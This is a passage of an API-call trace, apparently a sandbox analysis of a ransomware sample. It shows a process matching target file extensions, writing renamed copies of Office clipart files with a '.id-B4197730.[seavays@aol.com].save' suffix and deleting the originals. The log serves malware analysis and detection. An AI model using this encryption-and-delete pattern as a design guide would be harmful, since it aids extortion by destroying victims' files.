lpString2=".dll") returned -1 [0172.889] lstrlenW (lpString=".7z") returned 3 [0172.889] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.889] lstrlenW (lpString=".dbf") returned 4 [0172.889] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.889] lstrlenW (lpString=".1cd") returned 4 [0172.889] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.889] lstrlenW (lpString=".jpg") returned 4 [0172.889] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.889] lstrlenW (lpString=".doc") returned 4 [0172.889] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0172.889] lstrlenW (lpString=".docx") returned 5 [0172.890] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0172.890] lstrlenW (lpString=".pdf") returned 4 [0172.890] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0172.890] lstrlenW (lpString=".xls") returned 4 [0172.890] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0172.890] lstrlenW (lpString=".xlsx") returned 5 [0172.890] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0172.890] lstrlenW (lpString=".ppt") returned 4 [0172.890] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0172.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.890] lstrlenW (lpString=".zip") returned 4 [0172.890] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0172.890] lstrlenW (lpString=".rar") returned 4 [0172.890] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0172.890] lstrlenW (lpString=".bz2") returned 4 [0172.890] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0172.890] lstrlenW (lpString=".7z") returned 3 [0172.890] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0172.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.890] lstrlenW (lpString=".dbf") returned 4 [0172.891] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0172.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.891] lstrlenW (lpString=".1cd") returned 4 [0172.891] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0172.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll") returned 76 [0172.891] lstrlenW (lpString=".jpg") returned 4 [0172.891] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0172.891] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0172.891] lstrlenW (lpString="FALL_01.MID") returned 11 [0172.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.082] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=4846) returned 1 [0173.083] CloseHandle (hObject=0x540) returned 1 [0173.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220 [0173.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.083] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.083] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.084] GetLastError () returned 0x0 [0173.084] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x12ee, lpOverlapped=0x0) returned 1 [0173.086] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x12f0, lpOverlapped=0x0) returned 1 [0173.087] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.087] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0173.087] SetEndOfFile (hFile=0x51c) returned 1 [0173.088] CloseHandle (hObject=0x51c) returned 1 [0173.088] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.088] SetEndOfFile (hFile=0x540) returned 1 [0173.094] CloseHandle (hObject=0x540) returned 1 [0173.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0173.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.095] lstrlenW (lpString=".doc") returned 4 [0173.095] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.095] lstrlenW (lpString=".docx") returned 5 [0173.095] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.095] lstrlenW (lpString=".pdf") returned 4 [0173.095] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.095] lstrlenW (lpString=".xls") returned 4 [0173.095] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.095] lstrlenW (lpString=".xlsx") returned 5 [0173.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.096] lstrlenW (lpString=".ppt") returned 4 [0173.096] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.096] lstrlenW (lpString=".zip") returned 4 [0173.096] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.096] lstrlenW (lpString=".rar") returned 4 [0173.096] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.096] lstrlenW (lpString=".bz2") returned 4 [0173.096] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.096] lstrlenW (lpString=".7z") returned 3 [0173.096] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.096] lstrlenW (lpString=".dbf") returned 4 [0173.096] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.096] lstrlenW (lpString=".1cd") returned 4 [0173.096] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.096] lstrlenW (lpString=".jpg") returned 4 [0173.096] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.096] lstrlenW (lpString=".doc") returned 4 [0173.096] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.096] lstrlenW (lpString=".docx") returned 5 [0173.096] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.096] lstrlenW (lpString=".pdf") returned 4 [0173.096] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.096] lstrlenW (lpString=".xls") returned 4 [0173.096] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.096] lstrlenW (lpString=".xlsx") returned 5 [0173.096] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.097] lstrlenW (lpString=".ppt") returned 4 [0173.097] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.097] lstrlenW (lpString=".zip") returned 4 [0173.097] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.097] lstrlenW (lpString=".rar") returned 4 [0173.097] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.097] lstrlenW (lpString=".bz2") returned 4 [0173.097] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.097] lstrlenW (lpString=".7z") returned 3 [0173.097] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.097] lstrlenW (lpString=".dbf") returned 4 [0173.097] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.097] lstrlenW (lpString=".1cd") returned 4 [0173.097] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID") returned 67 [0173.097] lstrlenW (lpString=".jpg") returned 4 [0173.097] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.097] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.097] lstrlenW (lpString="INDST_01.MID") returned 12 [0173.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.101] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=8568) returned 1 [0173.101] CloseHandle (hObject=0x540) returned 1 [0173.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220 [0173.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.102] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.102] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.103] GetLastError () returned 0x0 [0173.103] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2178, lpOverlapped=0x0) returned 1 [0173.105] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2180, lpOverlapped=0x0) returned 1 [0173.106] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.106] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0173.106] SetEndOfFile (hFile=0x51c) returned 1 [0173.106] CloseHandle (hObject=0x51c) returned 1 [0173.106] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.107] SetEndOfFile (hFile=0x540) returned 1 [0173.109] CloseHandle (hObject=0x540) returned 1 [0173.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0173.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.111] lstrlenW (lpString=".doc") returned 4 [0173.111] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.111] lstrlenW (lpString=".docx") returned 5 [0173.111] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.111] lstrlenW (lpString=".pdf") returned 4 [0173.111] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.111] lstrlenW (lpString=".xls") returned 4 [0173.111] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.111] lstrlenW (lpString=".xlsx") returned 5 [0173.111] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.111] lstrlenW (lpString=".ppt") returned 4 [0173.111] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.111] lstrlenW (lpString=".zip") returned 4 [0173.111] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.111] lstrlenW (lpString=".rar") returned 4 [0173.111] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.111] lstrlenW (lpString=".bz2") returned 4 [0173.111] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.111] lstrlenW (lpString=".7z") returned 3 [0173.111] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.111] lstrlenW (lpString=".dbf") returned 4 [0173.111] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.111] lstrlenW (lpString=".1cd") returned 4 [0173.112] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.112] lstrlenW (lpString=".jpg") returned 4 [0173.112] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.112] lstrlenW (lpString=".doc") returned 4 [0173.112] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.112] lstrlenW (lpString=".docx") returned 5 [0173.112] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.112] lstrlenW (lpString=".pdf") returned 4 [0173.112] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.112] lstrlenW (lpString=".xls") returned 4 [0173.112] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.112] lstrlenW (lpString=".xlsx") returned 5 [0173.112] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.112] lstrlenW (lpString=".ppt") returned 4 [0173.112] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.112] lstrlenW (lpString=".zip") returned 4 [0173.112] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.112] lstrlenW (lpString=".rar") returned 4 [0173.112] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.112] lstrlenW (lpString=".bz2") returned 4 [0173.112] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.112] lstrlenW (lpString=".7z") returned 3 [0173.112] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.112] lstrlenW (lpString=".dbf") returned 4 [0173.112] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.112] lstrlenW (lpString=".1cd") returned 4 [0173.113] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68 [0173.113] lstrlenW (lpString=".jpg") returned 4 [0173.113] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.113] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.113] lstrlenW (lpString="JAVA_01.MID") returned 11 [0173.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.117] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=9797) returned 1 [0173.117] CloseHandle (hObject=0x540) returned 1 [0173.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220 [0173.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0173.118] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.118] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0173.118] GetLastError () returned 0x0 [0173.118] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2645, lpOverlapped=0x0) returned 1 [0173.120] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2650, lpOverlapped=0x0) returned 1 [0173.121] ReadFile (in: hFile=0x540, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0173.121] WriteFile (in: hFile=0x51c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xea, lpOverlapped=0x0) returned 1 [0173.121] SetEndOfFile (hFile=0x51c) returned 1 [0173.122] CloseHandle (hObject=0x51c) returned 1 [0173.122] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0173.122] SetEndOfFile (hFile=0x540) returned 1 [0173.125] CloseHandle (hObject=0x540) returned 1 [0173.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0173.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.126] lstrlenW (lpString=".doc") returned 4 [0173.126] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.126] lstrlenW (lpString=".docx") returned 5 [0173.126] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.126] lstrlenW (lpString=".pdf") returned 4 [0173.126] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.126] lstrlenW (lpString=".xls") returned 4 [0173.126] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.126] lstrlenW (lpString=".xlsx") returned 5 [0173.126] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.126] lstrlenW (lpString=".ppt") returned 4 [0173.126] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.126] lstrlenW (lpString=".zip") returned 4 [0173.126] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.126] lstrlenW (lpString=".rar") returned 4 [0173.126] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.126] lstrlenW (lpString=".bz2") returned 4 [0173.126] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.127] lstrlenW (lpString=".7z") returned 3 [0173.127] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.127] lstrlenW (lpString=".dbf") returned 4 [0173.127] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.127] lstrlenW (lpString=".1cd") returned 4 [0173.127] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0173.127] lstrlenW (lpString=".jpg") returned 4 